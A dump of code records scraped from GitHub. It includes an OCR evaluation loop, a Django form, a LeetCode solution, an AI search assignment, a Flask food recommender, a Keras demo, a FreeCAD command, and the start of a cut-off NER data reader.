Recognized_text_string, confidence_score_list,text,sp_image, segments,Od_output,output2,prob2 =recognition_process(\"J\",my_string,i,len_expected,reading_direction)\n image_name_lst.append(img_dir+i)\n text_all.append(text)\n sp_image_all.append(sp_image)\n expected_all.append(expected)\n #Unit_image_all.append(Unit_image)\n segments_all.append(segments)\n Od_output_llist.append(Od_output)\n # object_count_all.append(object_count)\n recog_all.append(Recognized_text_string)\n lst1.append(output2)\n lst2.append(prob2)\n conf_all.append(confidence_score_list)\n excel_name = \"japanese\"+str(count)+\".xlsx\"\n print(len(image_name_lst))\n \n \n \n \n \n\n \n \n \n if len(image_name_lst) ==500:\n # print(\"hello\")\n output_jpn(image_name_lst,segments_all,excel_name,expected_all,sp_image_all,recog_all,conf_all,text_all,Od_output_llist,lst1,lst2)\n image_name_lst = []\n expected_seg_all, text_all, sp_image_all, expected_all, segments_all, recog_all, conf_all ,Od_output_llist= [],[],[],[],[],[],[],[]\n count+=1\n lst1 = []\n lst2 = []\n '''elif os.listdir(path+folders[-1])[-1] == i:\n output_jpn(image_name_lst,segments_all,excel_name,expected_all,sp_image_all,recog_all,conf_all,text_all,Od_output_llist)'''\n except Exception as e:\n image = cv2.imread(path+x+\"/\"+i)\n cv2.imwrite(\"error_images/\"+x+\"_\"+i,image)\n with open(\"Exception_Jap_Images.csv\",\"a\") as f:\n writer = csv.writer(f)\n writer.writerow([x+\"/\"+i,e])\n print (e)\n output_jpn(image_name_lst,segments_all,excel_name,expected_all,sp_image_all,recog_all,conf_all,text_all,Od_output_llist,lst1,lst2)\n \n \n # print(len(image_name_lst),len(text_all), len(expected_all),len(sp_image_all), len(segments_all))\n\n\n\n \n# jpn()\n\njpn(sys.argv[1],sys.argv[2])\n\n# df.to_csv(\"client.csv\")\n\n\n\n\n","repo_name":"SiddhantSanadhaya/Yolo","sub_path":"japnese_testing_od_6_1_22_YOLO/main1.py","file_name":"main1.py","file_ext":"py","file_size_in_byte":7363,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"6885564058","text":"\nfrom customers.models import Feedback\nfrom django.forms import ModelForm\n\nclass FeedbackForm(ModelForm):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.fields['service_feedback'].widget.attrs.update({\n 'name':'service_feedback',\n 'id':'service_feedback',\n 'type':'textarea',\n 'class':'form-input',\n 'placeholder':'Your Feedback',\n 'title':'Write your feedback here',\n\n })\n self.fields['rating'].widget.attrs.update({\n 'min':'1',\n 'max':'5',\n 'title':'You can give from 1 to 5.',\n\n })\n class Meta:\n model = Feedback\n fields = ['rating','subject','service_feedback']\n","repo_name":"Pooja9009/gharelu","sub_path":"customers/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":752,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"5551514968","text":"# class ListNode(object):\n# def __init__(self, val=0, next=None):\n# self.val = val\n# self.next = next\n\n# Time Complexity: O(NK)\n# Space Complexity: O(K)\n\nclass Solution(object):\n def __init__(self):\n # will store head and tail of k groups\n self.lists = []\n \n def reverseKGroup(self, head, k):\n \"\"\"\n :type head: ListNode\n :type k: int\n :rtype: ListNode\n \"\"\"\n if k == 1:\n return head\n \n dummy = ListNode(-1)\n dummy.next = head\n node = dummy\n \n count = 0\n # prev = dummy\n temp = node.next\n \n while node != None and temp != None:\n node = temp\n count = count + 1\n \n if count == 1:\n gpHead = node\n temp = node.next\n \n elif count == k:\n temp = node.next\n self.reverse(gpHead, node.next)\n gpHead = None\n count = 0\n \n else:\n temp = node.next\n \n for i in range(len(self.lists)):\n tail = self.lists[i][1]\n if i == len(self.lists)-1:\n tail.next = gpHead\n else:\n tail.next = self.lists[i+1][0]\n \n return self.lists[0][0]\n \n \n def reverse(self, head, tail):\n currNode = head\n prev = None\n \n while currNode != tail:\n temp = currNode.next\n currNode.next = prev\n prev = currNode\n currNode = temp\n \n self.lists.append([prev, head])","repo_name":"ParanoidAndroid19/Leetcode-problems","sub_path":"ReverseNodesinK-group(hard).py","file_name":"ReverseNodesinK-group(hard).py","file_ext":"py","file_size_in_byte":1686,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"5626643982","text":"# -*- coding: utf-8 -*-\n\"\"\"\n\n@author:\nA01202564 Javier de Velasco Oriol\nA01746968 German Alamilla Peralta\n\"\"\"\nimport os\nimport time\n\nimport numpy #Import numpy para\nimport psutil\n\nfrom aima.search import ( # Bases para construcción de problemas\n Problem\n)\nfrom aima.search import ( # Algoritmos de búsqueda no informada\n breadth_first_search,\n depth_first_graph_search,\n depth_limited_search, iterative_deepening_search,\n uniform_cost_search\n)\nfrom aima.search import ( # Algoritmos de búsqueda informada (heurística)\n greedy_best_first_graph_search, astar_search\n)\n\n\nclass ProblemaResolver(Problem):\n def __init__(self, inicial=0, meta=50, level=1,c=0):\n Problem.__init__(self, inicial, meta)\n self.level = level\n self.c=c\n self.acciones = [] # acciones posibles\n # numeros permitidos depende el nivel\n if self.level == 1:\n self.numeros_permitidos = [2, 3]\n elif self.level == 2:\n self.numeros_permitidos = [5, 2]\n elif self.level == 3:\n self.numeros_permitidos = [1, 8,6]\n elif self.level == 4:\n self.numeros_permitidos = [1,2,0]\n elif self.level == 5:\n self.numeros_permitidos = [2,4,9]\n elif self.level == 6:\n self.numeros_permitidos = [2]\n for num_disponible in self.numeros_permitidos: #Delimita las acciones dependiendo del nivel, y genera tantas acciones sean posibles por cada numero. Ex, X2,X3\n if self.level == 1 or self.level==2 or self.level==4 : self.acciones.append('MULTIPLICAR ' + str(num_disponible))\n if self.level == 1 : self.acciones.append('SUMAR ' + str(num_disponible))\n if self.level == 2 or self.level == 3 or self.level == 5:self.acciones.append('RESTAR ' + str(num_disponible))\n if self.level == 3: self.acciones.append('DIVIDIR ' + str(num_disponible))\n if self.level == 4 or self.level == 6: self.acciones.append(\"RAIZ\")\n if self.level == 5 or self.level == 6: self.acciones.append(\"ALCUADRADO\")\n self.acciones.append('INICIAR ' + str(num_disponible))\n\n\n def actions(self, estado): # que acciones estan permitidas de acuerdo al estado\n arreglo_acciones = []\n for accion in self.acciones:\n # Indica para cada accion en cada nivel si se agrega o no, y al igual que arriba las crea por numero\n for num_disponible in self.numeros_permitidos:\n if accion == 'MULTIPLICAR ' + str(num_disponible) and estado != 0: # Que el estado sea diferente de 0\n arreglo_acciones.append('MULTIPLICAR ' + str(num_disponible))\n elif accion == 'SUMAR ' + str(num_disponible) :\n arreglo_acciones.append('SUMAR ' + str(num_disponible))\n elif accion == 'RESTAR ' + str(num_disponible) :\n arreglo_acciones.append('RESTAR ' + str(num_disponible))\n elif accion == 'INICIAR ' + str(num_disponible) and estado == 0: #Solo puede inicializar en el primer estado\n arreglo_acciones.append('INICIAR ' + str(num_disponible))\n elif accion == 'DIVIDIR ' + str(num_disponible) and estado > 0 and num_disponible!=0: #No divide no divide entre cero\n arreglo_acciones.append('DIVIDIR ' + str(num_disponible))\n if accion == 'RAIZ ' and ():\n arreglo_acciones.append('RAIZ ')\n elif accion == 'ALCUADRADO ' and (self.level == 5 or self.level == 6):\n arreglo_acciones.append('ALCUADRADO ')\n return arreglo_acciones\n\n # Generacion del siguiente estado\n def result(self, estado, accion):\n for num_disponible in self.numeros_permitidos:\n if accion == 'MULTIPLICAR ' + str(num_disponible):\n nuevo_estado = estado * num_disponible\n return nuevo_estado\n elif accion == 'SUMAR ' + str(num_disponible):\n nuevo_estado = estado + num_disponible\n return nuevo_estado\n elif accion == 'RESTAR ' + str(num_disponible):\n nuevo_estado = estado - num_disponible\n return nuevo_estado\n elif accion == 'DIVIDIR ' + str(num_disponible):\n nuevo_estado = estado / num_disponible\n return nuevo_estado\n elif accion == 'INICIAR ' + str(num_disponible):\n nuevo_estado = estado+ num_disponible\n return nuevo_estado\n if accion == 'ALCUADRADO ':\n nuevo_estado = estado * estado\n return nuevo_estado\n elif accion == 'RAIZ ':\n nuevo_estado = numpy.sqrt(estado)\n return nuevo_estado\n\n def f1(self, node): #Heuristica 1 para GBFS en el Nivel 1\n diferencia = self.goal - node.state\n if diferencia == 0: #Si no hay diferencia llego al estado correcto\n return 0\n if diferencia < 2: #Si es menor a 2 la diferencia significa que es imposible llegar y hay overflow. asi que se penaliza\n return 999\n multiply_max = 0\n valor = node.state #Obtiene el valor del nodo\n if valor==0: #Si está en el estado inicial se toma el máx dividido entre 3+1 para ser admisible e inicializar\n return self.goal/max(self.numeros_permitidos)+1\n while valor * max(self.numeros_permitidos) <= self.goal - 2: # Va aumentando la cantidad de veces que le falta multiplicarse antes de pasarse, el menos dos se encuentra para evitar caer en un estado imposible\n multiply_max += 1\n valor = valor * max(self.numeros_permitidos) #Se actualiza el valor\n multiply_min = 0\n valor = node.state\n while valor * min(self.numeros_permitidos) <= self.goal - 2: #Se genera lo mismo pero para el caso del menor número posible de multiplicar (Para los casos que se puede multiplicar por el menor pero no por el mayor\n multiply_min += 1\n valor = valor * min(self.numeros_permitidos)\n if multiply_min= max(self.numeros_permitidos):#Checa la cantidad de veces que falta dividir la diferencia existente entre tres.\n divisions += 1\n diferencia =diferencia / max(self.numeros_permitidos)#Actualiza el valor\n return divisions\n\n\n\n def h1(self, node): #Heuristica 1 para Nivel 1 en A*\n diferencia=self.goal-node.state\n if diferencia==0:\n return self.c+ 0\n if diferencia<2:\n return self.c+999\n multiply_max = 0\n valor = node.state\n if valor == 0:\n return self.goal / max(self.numeros_permitidos) + 1\n while valor * max(self.numeros_permitidos) <= self.goal - 2:\n multiply_max += 1\n valor = valor * max(self.numeros_permitidos)\n multiply_min = 0\n valor = node.state\n while valor * min(self.numeros_permitidos) <= self.goal - 2:\n multiply_min += 1\n valor = valor * min(self.numeros_permitidos)\n if multiply_min < multiply_max:\n return self.c+multiply_min\n else:\n return self.c + multiply_max\n\n def h2(self, node):#Heuristica 2 para Nivel 1 en A*\n diferencia=self.goal-node.state\n if diferencia==0:\n return self.c+ 0\n if diferencia<2:\n return self.c+999\n divisions=0\n while diferencia>=max(self.numeros_permitidos):\n divisions+=1\n diferencia=diferencia/max(self.numeros_permitidos)\n return self.c+divisions\n\n def path_cost(self, c, state1, action, state2):\n return c+1\n\ndef despliega_solucion(nodo_meta): #Imprime la informacion de la solución\n acciones = nodo_meta.solution()\n nodos = nodo_meta.path()\n print(\"Secuencia de Nodos :\"+str(nodos))\n print('Desglose de Solución:')\n print('Estado:', nodos[0].state)\n for na in range(len(acciones)):\n print('Acción: '+ str(acciones[na]))\n print('Estado:', nodos[na + 1].state)\n print(\"Costo \"+str(len(nodos)-1)) #\\hack\n\n\n# -------------------------------------------------------------------\n\n\nLevelGoals=[6,15,50,9999,1,-10,10.5] #Objetivos de la búsqueda, los últimos tres fallan ya que son imposibles\n\n\nMethod=[\"Breadth First Search\",\"Depth First Graph Search\", \"Depth Limited Search to 6\",\n \"Iterative Deepening Search\", \"Greedy Best First Graph Search Heuristic 1\",\n \" A Star Search Heuristic 1\", \"Greedy Best First Graph Search Heuristic 2\",\n \" A Star Search Heuristic 2\",\"Uniform Cost Search\"]\n\nfor k in range(9):#Recorre los 9 distintos métodos\n for i in range(4): #En los primeros 4\n process = psutil.Process(os.getpid())\n print(\"\\nSolución del Nivel 1 mediante búsqueda \"+ Method[k])\n print(\"Meta: \" + str(LevelGoals[i])+\"\\n\")\n t0 = time.clock() #Pre Timing\n prob1 = ProblemaResolver(0, LevelGoals[i],1)\n if k==0:\n meta1 = breadth_first_search(prob1)\n elif k==1 and (i!=0 and i!=2): #6 y 50 en DFS hacen overshoot y como es DFS nunca deja de multiplicar\n meta1 = depth_first_graph_search(prob1)\n elif k == 2:\n meta1 = depth_limited_search(prob1,13) #13 de límite si llega con el 9999\n elif k == 3:\n meta1 = iterative_deepening_search(prob1)\n elif k == 4:\n meta1 = greedy_best_first_graph_search(prob1,prob1.f1)\n elif k == 5:\n meta1 = astar_search(prob1,prob1.h1)\n elif k == 6:\n meta1 = greedy_best_first_graph_search(prob1,prob1.f2)\n elif k == 7:\n meta1 = astar_search(prob1,prob1.h2)\n elif k==8:\n meta1=uniform_cost_search(prob1)\n if meta1:\n t1 = time.clock()#Timing final\n despliega_solucion(meta1)\n print( \"Tiempo:\" + str(t1-t0))\n else:\n print(\"Falla: no se encontró una solución\")\n\n","repo_name":"javierdvo/Intelligent-Systems","sub_path":"Assignment 2/BrokenCalculator/broken-calculator-2.py","file_name":"broken-calculator-2.py","file_ext":"py","file_size_in_byte":10453,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"11036220606","text":"# Сортировка подсчётом( counting sort ) — алгоритм сортировки, в котором используется диапазон чисел сортируемого массива\r\n# (списка) для подсчёта совпадающих элементов. Применение сортировки подсчётом целесообразно лишь тогда,\r\n# когда сортируемые числа имеют диапазон возможных значений,\r\n# который достаточно мал по сравнению с сортируемым множеством.\r\n#\r\n# Идея сортировки: подсчитываем сколько раз в массиве встречается каждое значение и\r\n# заполняем массив подсчитанными элементами в соответствующих количествах.\r\na = [2,2,3,5,2,4,2,7,8,3,1,0,9,7,1,4,]\r\ncount = [0] * 10\r\nfor i in a:\r\n count[i] += 1\r\nprint(count) # Подсчет колличества элеметов коллекции и вывод подчета в список\r\nfor i in range(10):\r\n if count[i] > 0:\r\n print((str(i) + ' ') * count[i],end=\"\") # отображение элементов коллекции умноженное на их колличетво в списке\r\n\r\ns = \"abc83kl jfkj shihr3-p=9==-=-l;']=--?JJ3-o0]]03401>:{}\"\r\nletters = [0] * 26\r\nfor i in s.lower():\r\n if i >= 'a' and i <= 'z': # Отбор из строки только букв латиницы\r\n nomer = ord(i) - 97\r\n letters[nomer] += 1\r\n\r\nfor i in range(26):\r\n if letters[i] > 0:\r\n print(chr(i + 97) * letters[i],end='')\r\n\r\n\r\n\r\n","repo_name":"Dismil86/Hardwork","sub_path":"Lessons/Sort_count.py","file_name":"Sort_count.py","file_ext":"py","file_size_in_byte":1752,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"21040120541","text":"\"\"\"\nThis module is intended to extend the ACS Logging module in our python code.\n\"\"\"\nimport logging\nimport sys\nfrom Acspy.Common import Log\nfrom ACSLog import ACS_LOG_CRITICAL\n\nclass CustomLogger(Log.Logger):\n \"\"\"\n This class replaces the standard logging functionalities by overloading the\n `log` method and by defining a new `logException` method.\n \"\"\"\n def __init__(self, name):\n self.isUserLogger=False\n Log.Logger.__init__(self, name)\n\n def __formatMessage(self, msg):\n return self._Logger__formatMessage(msg)\n\n def log(self, level, msg, *args, **kwargs):\n # Replace some characters in order to avoid parsing errors\n msg = msg.replace('[', '{')\n msg = msg.replace(']', '}')\n Log.Logger.log(self, level, msg, *args, **kwargs)\n \n def logException(self, ex):\n \"\"\"This method is another workaround to match c++ with buggy python\n behaviour. It results into having a double entry in acs log. The\n LOG_CRITICAL level correspond in the ERROR level...other ACS bug!\n \"\"\"\n ex.errorTrace = self._fix_error_trace(ex.errorTrace)\n if self.isUserLogger:\n # Get caller name first to log it correctly\n caller = sys._getframe(1).f_code.co_name\n self.log(logging.ERROR, '%s - %s' % (caller, ex.shortDescription))\n ex.log(self, ACS_LOG_CRITICAL)\n\n def _fix_error_trace(self, trace):\n \"\"\"In order to avoid XML parsing errors in the CustomLogger component,\n fields errorTrace.file and errorTrace.routine must not have XML key\n characters `<` and `>`, therefore, we replace them with `{` and `}`.\"\"\"\n trace.file = trace.file.replace('<', '{').replace('>', '}')\n trace.routine = trace.routine.replace('<', '{').replace('>', '}')\n for index in range(len(trace.previousError)):\n previousTrace = trace.previousError[index]\n previousTrace = self._fix_error_trace(previousTrace)\n trace.previousError[index] = previousTrace\n return trace\n\n\nlogging.setLoggerClass(CustomLogger)\nlogging.root.setLevel(logging.NOTSET)\n\ndef getLogger(name=None):\n \"\"\"Get our custom logger from the system.\"\"\"\n return logging.getLogger(str(name))\n\nif __name__ == '__main__':\n logger = getLogger(\"Custom Logger\")\n logger.logDebug(\"Custom DEBUG message\")\n logger.logWarning(\"Custom WARNING message\")\n logger.logInfo(\"Custom INFO message\")\n logger.logAlert(\"Custom ALERT message\")\n logger.logCritical(\"Custom CRITICAL message\")\n","repo_name":"discos/discos","sub_path":"Common/Libraries/IRALibrary/src/IRAPy/customlogging.py","file_name":"customlogging.py","file_ext":"py","file_size_in_byte":2550,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"22"} +{"seq_id":"17913834825","text":"from pymongo import MongoClient\nimport random\nfrom flask import Flask, render_template, jsonify, request\n\napp = Flask(__name__)\n\nclient = MongoClient('mongodb://test:test@localhost', 27017)\ndb = client.myproject\n\n\n# HTML 화면 보여주기\n@app.route('/')\ndef home():\n return render_template('index.html')\n\n\n@app.route('/food', methods=['GET'])\ndef show_food():\n emotion_receive = request.args.get('emotion_give')\n food_list = list(db.eating_emotion.find({emotion_receive: 'T'}, {'_id': False}))\n random.shuffle(food_list)\n return jsonify({'result': 'success', 'data': food_list[:6]})\n\n\nif __name__ == '__main__':\n app.run('0.0.0.0', port=5000, debug=True)\n","repo_name":"heddiez/my_project","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":676,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"12761664377","text":"import numpy as np\nfrom PIL import Image\nimport scipy.io as sio\n\n\nclass AverageNum():\n def __init__(self, num=0, sum=0):\n self.num = num\n self.sum = sum\n\n def update(self, num, sum):\n self.num += num\n self.sum += sum\n\n def __add__(self, other):\n self.num += other.num\n self.sum += other.sum\n return AverageNum(self.num + other.num, self.sum + other.sum)\n\n def __str__(self):\n return \"Sample num: {}, Sample sum: {}, Average: {:.4f}\".format(self.num, self.sum,\n self.num / (self.sum + 1e-10))\n\n def __repr__(self):\n return self.__str__()\n\n\ndef test():\n data_path = '/home/lz/few-shot-complex-polar-sar-image-classification/data/Flavoland'\n load_data_c = sio.loadmat(data_path + '_c.mat') # dict-numpy.ndarray\n load_data_l = sio.loadmat(data_path + '_l.mat')\n load_data_p = sio.loadmat(data_path + '_p.mat')\n c12_im = load_data_c['c22']\n c12_im = Z_score(c12_im)\n print(c12_im.shape)\n data = (c12_im - c12_im.min()) / (c12_im.max() - c12_im.min()) * 255\n img = Image.fromarray(data.astype('uint8')).convert('L')\n print(img.size)\n img.save('./test22.jpg')\n print('end！！！！！！！！！！！！')\n\ndef Z_score(data):\n # Z-score nomalization\n data = (data-data.mean())/data.std()\n return data\n\ndef LoadThreeBandImage(data_path):\n load_data_c = sio.loadmat(data_path + '_c.mat') # dict-numpy.ndarray\n load_data_l = sio.loadmat(data_path + '_l.mat')\n load_data_p = sio.loadmat(data_path + '_p.mat')\n row, col = 1079, 1024\n channel_num = 18\n data_real = np.zeros([row, col, channel_num])\n data_imag = np.zeros([row, col, channel_num])\n res = []\n for data in [load_data_c, load_data_l, load_data_p]:\n res.append(Z_score(data['c11']))\n res.append(Z_score(data['c22']))\n res.append(Z_score(data['c33']))\n res.append(Z_score(data['c12_im']))\n res.append(Z_score(data['c12_re']))\n res.append(Z_score(data['c13_im']))\n res.append(Z_score(data['c13_re']))\n res.append(Z_score(data['c23_im']))\n res.append(Z_score(data['c23_re']))\n res = [r.reshape((1, *(r.shape))) for r in res]\n res = np.concatenate(res)\n print(res.shape)\n return res\n\n\ndef LoadLabel(label_path):\n label = sio.loadmat(label_path)\n print(label['clas1'].shape)\n return label['clas1'].reshape((1, *(label['clas1'].shape)))\n\n\nif __name__ == '__main__':\n # LoadLabel('/home/lz/few-shot-complex-polar-sar-image-classification/data/label.mat')\n test()","repo_name":"ZhenLiuBuaa/few-shot-polar-sar","sub_path":"dataset/data_utils.py","file_name":"data_utils.py","file_ext":"py","file_size_in_byte":2620,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"21080723314","text":"import keras;\nfrom keras.utils import to_categorical\nimport numpy as np;\nfrom keras.models import Sequential;\nfrom keras.layers import Dense, Dropout, Activation;\nfrom keras.optimizers import SGD;\nfrom ann_visualizer.visualize import ann_viz;\nfrom graphviz import Graph;\n\nx_train = np.random.random((50, 20));\ny_train = keras.utils.to_categorical(np.random.randint(10, size=(50, 1)), num_classes=10);\nx_test = np.random.random((25, 20));\ny_test = keras.utils.to_categorical((np.random.randint(10, size=(25, 1))), num_classes=10);\nmodel = Sequential();\nmodel.add(Dense(64, activation='relu', use_bias=True, input_dim=20)); # input layer , hidden 1\nmodel.add(Dropout(0.5));\nmodel.add(Dense(64, activation='relu', use_bias=True)); # hidden 2\nmodel.add(Dropout(0.5));\nmodel.add(Dense(10, activation='softmax'));\nsgd = SGD(lr=0.01, momentum=0.9, decay=1e-6);\nmodel.compile(sgd, loss='categorical_crossentropy', metrics=['accuracy']); # config the model\nhistory = model.fit(x_train, y_train, epochs=20, batch_size=128,\n validation_data=(x_test, y_test)); # training the model\n\nscoreoftest = model.evaluate(x_test, y_test, batch_size=128); # evaluate the test model\n\n# y_pred = model.predict(x_test);#prediction of test inputs\n# print(\"\\n%s: %.2f%%\" % (model.metrics_names[1], score[1]*100));\n# ann_viz(model, view=True, filename=\"MyNetwork.gv\", title=\"MyNeuralNetwork\");\n\n# Plotting chart of training and testing accuracy as a function of iterations\nfrom matplotlib import pyplot as plt;\n\nfig = plt.figure(figsize=(11, 7));\nplt.subplot(2, 1, 1);\nplt.plot(history.history['acc'])\nplt.plot(history.history['val_acc'])\nplt.title('Model accuracy')\nplt.ylabel('Accuracy')\nplt.xlabel('Epoch')\nplt.legend(['Train', 'Test'], loc='upper left')\n\nplt.subplot(2, 1, 2)\nplt.plot(history.history['loss'])\nplt.plot(history.history['val_loss'])\nplt.title('Model loss')\nplt.ylabel('Loss')\nplt.xlabel('Epoch')\nplt.legend(['TrainLoss', 'TestLoss'], loc='upper left')\n\nplt.show();\n\n# az en func ham mitavan estefade kard\n# @@mohem@@bayad graphviz hatman rooye system nasb bashad.\nfrom graphviz import Digraph, Source;\n\ng1 = Source.from_file('/usr/local/bin/net.gv');\ng1.view();\n\nSource.from_file('/Users/dani/Desktop/PythonProjects/net.gv')\nDigraph.render('dot', 'png', '/Users/dani/Desktop/PythonProjects/net.gv', view=True)\n# Digraph.render.save(filename='net', directory='/Users/dani/Desktop/PythonProjects/net.pdf')\n# filepath = save(filename='net', directory='/Users/dani/Desktop/PythonProjects/net.pdf')\n\nfrom graphviz import Source;\n\nplo = Source.from_file('/Users/dani/Desktop/PythonProjects/net.gv');\nplo.save(filename='network', directory='/Users/dani/Desktop/PythonProjects')\nSource.render('self', filename='network', view=True)\n","repo_name":"Danialddm/PythonProjects","sub_path":"KerasNN.py","file_name":"KerasNN.py","file_ext":"py","file_size_in_byte":2738,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"2415784584","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*- #\nfrom __future__ import unicode_literals\n\nAUTHOR = 'Brian Charles Rieger'\nSITENAME = 'Brian Charles Rieger'\nSITEURL = 'http://riegerb.com'\nDESCRIPTION = 'Website for Brian Charles Rieger'\n\nPATH = 'content'\n\nDIRECT_TEMPLATES = ['index']\n\nTIMEZONE = 'US/Pacific'\n\nDEFAULT_LANG = 'en'\n\nSTATIC_PATHS = ['js']\n\nTHEME = 'themes/pelican-alchemy/alchemy'\n\n# Blogroll\nLINKS = ()\n\nICONS = (('github', 'https://github.com/Riegerb'),)\n\nDEFAULT_PAGINATION = 10\n\nHIDE_AUTHORS = True\n\nDELETE_OUTPUT_DIRECTORY = True\n\nLOAD_CONTENT_CACHE = False\n","repo_name":"Riegerb/riegerb.com","sub_path":"pelicanconf.py","file_name":"pelicanconf.py","file_ext":"py","file_size_in_byte":576,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"39012048288","text":"def minion_game(string):\n vow = ['a', 'e', 'i', 'o', 'u']\n kevname = \"Kevin\"\n stuname = \"Stuart\"\n cons = [\"b\",\"c\",\"d\",\"f\",\"g\",\"h\",\"j\",\"k\",\"l\",\"m\",\"n\",\"p\",\"q\",\"r\",\"s\",\"t\",\"v\",\"w\",\"x\",\"y\",\"z\"]\n conslist = []\n vowlist = []\n stupoints = 0\n kevpoints = 0\n for e in string:\n if e in cons:\n if e in conslist:\n pass\n else:\n conslist.append(e)\n if e in vow:\n if e in vowlist:\n pass\n else:\n vowlist.append(e)\n start = 1\n for e in conslist:\n conslist.append(string[string.index(e):string.index(e)+int(start)])\n if start < len(string):\n start += 0.5\n else:\n break\n start = 1\n for e in vowlist:\n vowlist.append(string[string.index(e):string.index(e)+int(start)])\n if start < len(string):\n start += 0.5\n else:\n break\n var = 0\n for e in conslist:\n b = [index for index, value in enumerate(conslist) if value == e]\n if len(b) > 1:\n conslist[var] = \"\"\n var += 1\n var = 0\n for e in vowlist:\n b = [index for index, value in enumerate(vowlist) if value == e]\n if len(b) > 1:\n vowlist[var] = \"\"\n var += 1\n while \"\" in vowlist:\n vowlist.remove(\"\")\n while \"\" in conslist:\n conslist.remove(\"\")\n\n print(conslist,vowlist)\nminion_game(\"banana\")\n","repo_name":"olsn-bit/miprojects","sub_path":"sandBox .py","file_name":"sandBox .py","file_ext":"py","file_size_in_byte":1461,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"19497131079","text":"from __future__ import annotations\n\nimport FreeCAD as fc\n\nimport FreeCADGui as fcgui\n\nfrom ..freecad_utils import message\nfrom ..freecad_utils import validate_types\nfrom ..freecadgui_utils import get_subobjects_and_placements\nfrom ..gui_utils import tr\n\n\n# Typing hints.\nDO = fc.DocumentObject\nCrossLink = DO # A Cross::Link, i.e. a DocumentObject with Proxy \"Link\".\nCrossJoint = DO # A Cross::Joint, i.e. a DocumentObject with Proxy \"Joint\".\nLCS = DO # Local coordinate systen, TypeId == \"PartDesign::CoordinateSystem\"\n\n\ndef get_relative_placement(\n cross_object: [CrossJoint, CrossLink],\n lcs: LCS,\n obj: DO,\n ) -> fc.Placement:\n \"\"\"Set the placement of `cross_object` as `lcs` relative to `obj`.\"\"\"\n resolve_mode_resolve = 1\n selection = fcgui.Selection.getSelectionEx('', resolve_mode_resolve)\n objects_placements = get_subobjects_and_placements(selection)\n objects, placements = zip(*objects_placements)\n lcs_placement = placements[objects.index(lcs)]\n obj_placement = placements[objects.index(obj)]\n cross_object_placement = lcs_placement.inverse() * obj_placement\n return cross_object_placement\n\n\nclass _SetCROSSPlacementCommand:\n \"\"\"Command to set the placement of a Link or a Joint.\n\n Command to set the mounted placement of a Link or the Origin of a Joint.\n\n \"\"\"\n\n def GetResources(self):\n return {'Pixmap': 'set_cross_placement.svg',\n 'MenuText': tr('Set placement'),\n 'Accel': 'N, L',\n 'ToolTip': tr('Set the mounted placement'\n ' of a link or the origin of a joint.'\n 'Select either\\n'\n ' a) a CROSS::Link, a LCS, and something or\\n'\n ' b) a CROSS::Joint, the child LCS, and the'\n ' parent LCS on the same link.\\n'\n ' c) a CROSS::Joint, the LCS on the parent link,'\n ' and the LCS on the child link.',\n )}\n\n def IsActive(self):\n return True\n\n def Activated(self):\n doc = fc.activeDocument()\n selection_ok = False\n selection_link = False\n selection_joint = False\n try:\n cross_link, lcs, obj = validate_types(\n fcgui.Selection.getSelection(),\n ['Cross::Link', 'PartDesign::CoordinateSystem', 'Any'])\n selection_ok = True\n selection_link = True\n except RuntimeError:\n pass\n\n if not selection_ok:\n try:\n cross_joint, lcs_child, lcs_parent = validate_types(\n fcgui.Selection.getSelection(),\n ['Cross::Joint', 'PartDesign::CoordinateSystem', 'PartDesign::CoordinateSystem'])\n selection_ok = True\n selection_joint = True\n except RuntimeError:\n pass\n\n if not selection_ok:\n message('Select either\\n'\n ' a) a CROSS::Link, a LCS, and something or\\n'\n ' b) a CROSS::Joint, the child LCS, and the'\n ' parent LCS on the same link.\\n'\n ' c) a CROSS::Joint, the LCS on the parent link,'\n ' and the LCS on the child link.',\n gui=True)\n return\n\n if selection_link:\n placement = get_relative_placement(cross_link, lcs, obj)\n doc.openTransaction(tr(\"Set link's mounted placement\"))\n cross_link.MountedPlacement = placement\n doc.commitTransaction()\n elif selection_joint:\n placement = get_relative_placement(cross_joint, lcs_child, lcs_parent)\n doc.openTransaction(tr(\"Set joint's origin\"))\n cross_joint.Origin = placement\n doc.commitTransaction()\n doc.recompute()\n\n\nfcgui.addCommand('SetCROSSPlacement', _SetCROSSPlacementCommand())\n","repo_name":"galou/freecad.cross","sub_path":"freecad/cross/ui/command_set_placement.py","file_name":"command_set_placement.py","file_ext":"py","file_size_in_byte":3995,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"22"} +{"seq_id":"33738235868","text":"# -*- coding: utf-8 -*-\nfrom __future__ import print_function\nfrom __future__ import absolute_import\nimport sys\nimport numpy as np\nfrom copy import deepcopy\n\ndef normalize_word(word):\n new_word = \"\"\n for char in word:\n if char.isdigit():\n new_word += '0'\n else:\n new_word += char\n return new_word\n\n\ndef read_instance(input_file, word_alphabet, char_alphabet, feature_alphabets, label_alphabet, number_normalized, max_sent_length, word_mat, doc_idx, max_read_memory, char_padding_size=-1, char_padding_symbol = ''):\n feature_num = len(feature_alphabets)\n in_lines = open(input_file,'r', encoding=\"utf8\").readlines()\n instence_texts = []\n instence_Ids = []\n words = []\n features = []\n chars = []\n labels = []\n word_Ids = []\n feature_Ids = []\n char_Ids = []\n label_Ids = []\n\n word_idx = []\n lower_word2refidx = {}\n wix2lower_word = 